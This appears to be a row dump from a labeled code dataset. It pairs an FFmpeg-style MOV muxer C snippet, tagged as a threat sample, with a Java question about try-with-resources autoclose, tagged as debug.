else if (track->enc->codec_type == AVMEDIA_TYPE_AUDIO)
mov_write_smhd_tag(pb);
else if (track->enc->codec_type == AVMEDIA_TYPE_SUBTITLE) {
if (track->tag == MKTAG('t','e','x','t') || is_clcp_track(track)) {
mov_write_gmhd_tag(pb, track);
} else {
mov_write_nmhd_tag(pb);
}
} else if (track->tag == MKTAG('r','t','p',' ')) {
mov_write_hmhd_tag(pb);
} else if (track->tag == MKTAG('t','m','c','d')) {
mov_write_gmhd_tag(pb, track);
}
if (track->mode == MODE_MOV)
mov_write_hdlr_tag(pb, NULL);
mov_write_dinf_tag(pb);
if ((ret = mov_write_stbl_tag(pb, mov, track)) < 0)
return ret;
return update_size(pb, pos);
}
| 1threat
|
Try-with-resource autoclose issues : <p>I am working with a legacy code, where I see certain DB transaction initiated in try-with-Resources close block. I understand the DB resource will be closed once the code in the try block is executed. Can somebody help me, how can I over-ride or bypass the autoclosing, in this case ? I am working with the legacy code and that too for very short time, so want not to change too much of code, and invite unit tests failures.</p>
| 0debug
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.